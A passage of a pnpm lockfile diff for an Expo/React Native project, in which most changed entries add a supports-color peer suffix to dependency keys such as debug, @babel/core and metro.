ci-info: 3.9.0 - compression: 1.8.2 - connect: 3.7.0 + compression: 1.8.2(supports-color@8.1.1) + connect: 3.7.0(supports-color@8.1.1) dnssd-advertise: 1.1.6 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-server: 58.0.5 fetch-nodeshim: 0.4.10 getenv: 2.0.0 @@ -14474,7 +14308,7 @@ snapshots: resolve-from: 5.0.0 sandbox-cli-detector: 0.2.0 semver: 7.8.5 - send: 0.19.2 + send: 0.19.2(supports-color@8.1.1) slugify: 1.6.9 stacktrace-parser: 0.1.11 structured-headers: 0.4.1 @@ -14484,7 +14318,7 @@ snapshots: ws: 8.22.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) zod: 3.25.76 optionalDependencies: - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - '@expo/dom-webview' - '@expo/metro-runtime' @@ -14502,15 +14336,15 @@ snapshots: dependencies: node-forge: 1.4.0 - '@expo/config-plugins@58.0.9(typescript@7.0.2)': + '@expo/config-plugins@58.0.9(supports-color@8.1.1)(typescript@7.0.2)': dependencies: '@expo/config-types': 58.0.3 '@expo/json-file': 11.2.1 '@expo/plist': 0.10.1 - '@expo/require-utils': 58.0.4(typescript@7.0.2) + '@expo/require-utils': 58.0.4(supports-color@8.1.1)(typescript@7.0.2) '@expo/sdk-runtime-versions': 1.0.1 chalk: 4.1.2 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) getenv: 2.0.0 glob: 13.0.6 semver: 7.8.5 @@ -14523,13 +14357,13 @@ snapshots: '@expo/config-types@58.0.3': {} - '@expo/config@58.0.6(typescript@7.0.2)': + '@expo/config@58.0.6(supports-color@8.1.1)(typescript@7.0.2)': dependencies: - '@expo/config-plugins': 58.0.9(typescript@7.0.2) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) '@expo/config-types': 58.0.3 '@expo/json-file': 11.2.1 '@expo/platforms': 58.0.1 - '@expo/require-utils': 58.0.4(typescript@7.0.2) + '@expo/require-utils': 58.0.4(supports-color@8.1.1)(typescript@7.0.2) deepmerge: 4.3.1 getenv: 2.0.0 glob: 13.0.6 @@ -14540,42 +14374,42 @@ snapshots: - supports-color - typescript - '@expo/devcert@1.2.2': + '@expo/devcert@1.2.2(supports-color@8.1.1)': dependencies: '@expo/sudo-prompt': 9.3.2 - debug: 3.2.7 + debug: 3.2.7(supports-color@8.1.1) transitivePeerDependencies: - supports-color - '@expo/devtools@58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@expo/devtools@58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: chalk: 4.1.2 optionalDependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - '@expo/dom-webview@58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@expo/dom-webview@58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - '@expo/env@2.5.2': + '@expo/env@2.5.2(supports-color@8.1.1)': dependencies: chalk: 4.1.2 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) getenv: 2.0.0 transitivePeerDependencies: - supports-color - '@expo/fingerprint@0.21.5(patch_hash=8fba80d6bbce46c72de427fe8c7907462d262a0bfe50c6b2b7ee9c4e0c61e5e1)': + '@expo/fingerprint@0.21.5(patch_hash=8fba80d6bbce46c72de427fe8c7907462d262a0bfe50c6b2b7ee9c4e0c61e5e1)(supports-color@8.1.1)': dependencies: - '@expo/env': 2.5.2 + '@expo/env': 2.5.2(supports-color@8.1.1) '@expo/spawn-async': 1.8.0 arg: 5.0.2 chalk: 4.1.2 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) getenv: 2.0.0 glob: 13.0.6 ignore: 5.3.2 @@ -14585,9 +14419,9 @@ snapshots: transitivePeerDependencies: - supports-color - '@expo/image-utils@0.12.5(typescript@7.0.2)': + '@expo/image-utils@0.12.5(supports-color@8.1.1)(typescript@7.0.2)': dependencies: - '@expo/require-utils': 58.0.4(typescript@7.0.2) + '@expo/require-utils': 58.0.4(supports-color@8.1.1)(typescript@7.0.2) '@expo/spawn-async': 1.8.0 chalk: 4.1.2 getenv: 2.0.0 @@ -14598,9 +14432,9 @@ snapshots: - supports-color - typescript - '@expo/image-utils@0.8.14(typescript@7.0.2)': + '@expo/image-utils@0.8.14(supports-color@8.1.1)(typescript@7.0.2)': dependencies: - '@expo/require-utils': 55.0.5(typescript@7.0.2) + '@expo/require-utils': 55.0.5(supports-color@8.1.1)(typescript@7.0.2) '@expo/spawn-async': 1.8.0 chalk: 4.1.2 getenv: 2.0.0 @@ -14611,9 +14445,9 @@ snapshots: - supports-color - typescript - '@expo/inline-modules@0.2.6(typescript@7.0.2)': + '@expo/inline-modules@0.2.6(supports-color@8.1.1)(typescript@7.0.2)': dependencies: - '@expo/config-plugins': 58.0.9(typescript@7.0.2) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) transitivePeerDependencies: - supports-color - typescript @@ -14623,9 +14457,9 @@ snapshots: '@babel/code-frame': 7.29.7 json5: 2.2.3 - '@expo/local-build-cache-provider@58.0.6(typescript@7.0.2)': + '@expo/local-build-cache-provider@58.0.6(supports-color@8.1.1)(typescript@7.0.2)': dependencies: - '@expo/config': 58.0.6(typescript@7.0.2) + '@expo/config': 58.0.6(supports-color@8.1.1)(typescript@7.0.2) chalk: 4.1.2 transitivePeerDependencies: - supports-color @@ -14633,29 +14467,29 @@ snapshots: '@expo/log-box-utils@58.0.2': {} - '@expo/log-box@58.0.12(@expo/dom-webview@58.0.2)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@expo/log-box@58.0.12(@expo/dom-webview@58.0.2)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: - '@expo/dom-webview': 58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@expo/dom-webview': 58.0.2(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@expo/log-box-utils': 58.0.2 anser: 1.4.10 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) stacktrace-parser: 0.1.11 optionalDependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) - '@expo/metro-config@58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(typescript@7.0.2)(utf-8-validate@6.0.6)': + '@expo/metro-config@58.0.14(patch_hash=90fa980e8b6480631fb2fbb04559834e3c612db40c550cd828f11be297d8d760)(bufferutil@4.1.0)(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2)(utf-8-validate@6.0.6)': dependencies: 2g: 1.0.1(typescript@7.0.2) '@babel/code-frame': 7.29.7 - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/generator': 7.29.7 - '@expo/config': 58.0.6(typescript@7.0.2) - '@expo/env': 2.5.2 + '@expo/config': 58.0.6(supports-color@8.1.1)(typescript@7.0.2) + '@expo/env': 2.5.2(supports-color@8.1.1) '@expo/json-file': 11.2.1 - '@expo/metro': 58.0.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) + '@expo/metro': 58.0.0(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) '@expo/platforms': 58.0.1 - '@expo/require-utils': 58.0.4(typescript@7.0.2) + '@expo/require-utils': 58.0.4(supports-color@8.1.1)(typescript@7.0.2) '@expo/spawn-async': 1.8.0 '@jridgewell/gen-mapping': 0.3.13 '@jridgewell/remapping': 2.3.5 @@ -14664,7 +14498,7 @@ snapshots: '@react-native/js-polyfills': 0.88.0 browserslist: 4.29.0 chalk: 4.1.2 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) getenv: 2.0.0 glob: 13.0.6 hermes-parser: 0.36.1 @@ -14675,17 +14509,17 @@ snapshots: postcss: 8.5.30 resolve-from: 5.0.0 optionalDependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) transitivePeerDependencies: - bufferutil - supports-color - typescript - utf-8-validate - '@expo/metro-file-map@58.0.5(typescript@7.0.2)': + '@expo/metro-file-map@58.0.5(supports-color@8.1.1)(typescript@7.0.2)': dependencies: 2g: 1.0.1(typescript@7.0.2) - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fb-watchman: 2.0.2 invariant: 2.2.4 jest-worker: 29.7.0 @@ -14694,35 +14528,35 @@ snapshots: - supports-color - typescript - '@expo/metro-runtime@58.0.14(@expo/log-box@58.0.12)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@expo/metro-runtime@58.0.14(@expo/log-box@58.0.12)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: - '@expo/log-box': 58.0.12(@expo/dom-webview@58.0.2)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@expo/log-box': 58.0.12(@expo/dom-webview@58.0.2)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) anser: 1.4.10 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) pretty-format: 29.7.0 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) stacktrace-parser: 0.1.11 whatwg-fetch: 3.6.20 optionalDependencies: react-dom: 19.3.0(react@19.3.0) - '@expo/metro@58.0.0(bufferutil@4.1.0)(utf-8-validate@6.0.6)': + '@expo/metro@58.0.0(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)': dependencies: - metro: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) - metro-babel-transformer: 0.87.1 - metro-cache: 0.87.1 + metro: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + metro-babel-transformer: 0.87.1(supports-color@8.1.1) + metro-cache: 0.87.1(supports-color@8.1.1) metro-cache-key: 0.87.1 - metro-config: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) + metro-config: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) metro-core: 0.87.1 - metro-file-map: 0.87.1 + metro-file-map: 0.87.1(supports-color@8.1.1) metro-minify-terser: 0.87.1 metro-resolver: 0.87.1 metro-runtime: 0.87.1 - metro-source-map: 0.87.1 + metro-source-map: 0.87.1(supports-color@8.1.1) metro-symbolicate: 0.87.1 - metro-transform-plugins: 0.87.1 - metro-transform-worker: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) + metro-transform-plugins: 0.87.1(supports-color@8.1.1) + metro-transform-worker: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - bufferutil - supports-color @@ -14755,52 +14589,52 @@ snapshots: base64-js: 1.5.1 xmlbuilder: 15.1.1 - '@expo/prebuild-config@58.0.14(typescript@7.0.2)': + '@expo/prebuild-config@58.0.14(supports-color@8.1.1)(typescript@7.0.2)': dependencies: - '@expo/config': 58.0.6(typescript@7.0.2) - '@expo/config-plugins': 58.0.9(typescript@7.0.2) + '@expo/config': 58.0.6(supports-color@8.1.1)(typescript@7.0.2) + '@expo/config-plugins': 58.0.9(supports-color@8.1.1)(typescript@7.0.2) '@expo/config-types': 58.0.3 - '@expo/image-utils': 0.12.5(typescript@7.0.2) + '@expo/image-utils': 0.12.5(supports-color@8.1.1)(typescript@7.0.2) '@expo/json-file': 11.2.1 '@react-native/normalize-colors': 0.88.0 - debug: 4.4.3 - expo-modules-autolinking: 58.0.13(typescript@7.0.2) + debug: 4.4.3(supports-color@8.1.1) + expo-modules-autolinking: 58.0.13(supports-color@8.1.1)(typescript@7.0.2) resolve-from: 5.0.0 semver: 7.8.5 transitivePeerDependencies: - supports-color - typescript - '@expo/require-utils@55.0.5(typescript@7.0.2)': + '@expo/require-utils@55.0.5(supports-color@8.1.1)(typescript@7.0.2)': dependencies: '@babel/code-frame': 7.29.7 - '@babel/core': 7.29.7 - '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) optionalDependencies: typescript: 7.0.2 transitivePeerDependencies: - supports-color - '@expo/require-utils@58.0.4(typescript@7.0.2)': + '@expo/require-utils@58.0.4(supports-color@8.1.1)(typescript@7.0.2)': dependencies: '@babel/code-frame': 7.29.7 - '@babel/core': 7.29.7 - '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) optionalDependencies: typescript: 7.0.2 transitivePeerDependencies: - supports-color - '@expo/router-server@58.0.14(@expo/metro-runtime@58.0.14)(expo-constants@58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2))(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(expo-server@58.0.5)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': + '@expo/router-server@58.0.14(@expo/metro-runtime@58.0.14)(expo-constants@58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2))(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(expo-server@58.0.5)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(supports-color@8.1.1)': dependencies: - debug: 4.4.3 - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) - expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2) - expo-font: 58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + debug: 4.4.3(supports-color@8.1.1) + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) + expo-constants: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2) + expo-font: 58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-server: 58.0.5 react: 19.3.0 optionalDependencies: - '@expo/metro-runtime': 58.0.14(@expo/log-box@58.0.12)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@expo/metro-runtime': 58.0.14(@expo/log-box@58.0.12)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react-dom: 19.3.0(react@19.3.0) transitivePeerDependencies: - supports-color @@ -14815,16 +14649,16 @@ snapshots: '@expo/sudo-prompt@9.3.2': {} - '@expo/ui@58.0.20(patch_hash=5a26480373850c1a7943919aa21f904151b335a0cb01042109e0746def37923e)(@babel/core@7.29.7)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': - dependencies: - expo: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + ? '@expo/ui@58.0.20(patch_hash=5a26480373850c1a7943919aa21f904151b335a0cb01042109e0746def37923e)(@babel/core@7.29.7(supports-color@8.1.1))(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)' + : dependencies: + expo: 58.0.14(f758e93be082e96fe84cde9538c0a615) react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) sf-symbols-typescript: 2.2.0 optionalDependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) react-dom: 19.3.0(react@19.3.0) - react-native-worklets: 0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native-worklets: 0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1) '@expo/ws-tunnel@2.0.1(ws@8.22.0(bufferutil@4.1.0)(utf-8-validate@6.0.6))': dependencies: @@ -15091,13 +14925,13 @@ snapshots: dependencies: jsbi: 4.3.2 - '@legendapp/list@3.3.5(patch_hash=e6383c516a0d67b65333d6fd38d2203734bf24b054b0b0767b034189205aed32)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@legendapp/list@3.3.5(patch_hash=e6383c516a0d67b65333d6fd38d2203734bf24b054b0b0767b034189205aed32)(react-dom@19.3.0(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: react: 19.3.0 use-sync-external-store: 1.6.0(react@19.3.0) optionalDependencies: react-dom: 